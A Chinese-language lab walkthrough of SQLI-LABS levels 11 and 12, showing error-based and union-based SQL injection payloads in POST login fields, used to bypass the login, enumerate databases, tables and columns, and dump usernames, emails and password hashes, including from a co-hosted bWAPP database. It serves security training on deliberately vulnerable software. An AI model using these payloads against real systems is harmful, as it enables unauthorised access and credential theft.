SQLI-LABS(Less-11、12)
Less-11(POST-Error Based-Single Quotes-String)
打开Less-11
的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。
万能密码
那么先尝试一下万能密码登录,用户名:admin' #
、密码随便填一个:
从上图可以看出登陆成功,并且会回显账号和密码。
其他方法
判断注入
先随便尝试一个账号密码,uname=name & passwd=pass
显示登录失败,接着修改post包,加入引号
看是否会报错.
可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是单引号
。到此可以发现SQL语句的报错会显示在前端页面。
判断当前数据表列数
注入语句:uname=name' order by 1# & passwd=pass
当尝试到uname=name' order by 3# & passwd=pass
时,出现了报错,由此可以判断该表只有两列。
判断回显位
注入语句:uname=name' union select 1,2 # & passwd=pass
判断数用户名和据库名
注入语句:uname=name' union select user(),database() # & passwd=pass
通过上述注入可以得知,当前数据库名为security
,当前用户为root
,接着找出这个数据库中的所有数据表。
确定当前数据库内表名
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass
通过上述注入可以得知当前数据库中存在emails
、referers
、uagents
、users
四张数据表。
确定users表中列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass
通过上述注入可以得知users
表中存在三列,分别为id
、username
、password
。
确定users表中的用户名和密码
注入语句:uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass
到此,就得到了当前表中所有的用户名和密码。
跨数据库注入
通过上面的步骤可以看到当前用户是root
用户,那么可以尝试爆其他数据库中的信息。
确定当前服务器上有哪些数据库
注入语句:uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass
通过上述注入可以得知当前服务器中的数据库由:information_schema
、bWAPP
、challenges
、dvwa
、mysql
、performance_schema
、security
、test
确定bWAPP数据库中的数据表
注入语句:uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass
上图中可以看出在bWAPP
库中的表分别是blog
,heroes
,movies
,users
,visitors
。
确定users数据库中的列名
注入语句:uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass
可以看到users
表中的列名为:id
,login
,password
,email
,secret
,activation_code
,activated
,reset_code
,admin
。
确定users表中的邮箱和密码
注入语句:uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass
这样就成功拿到了邮箱和密码,通过查md5可以得到密码为bug
。
Less-12(POST-Error Based-Double Quotes-String-with twist)
通过注入uname=name" & passwd=pass
发现SQL闭合符号为")
,其余操作均与第11关相同。
确定回显位,其余操作不再赘述: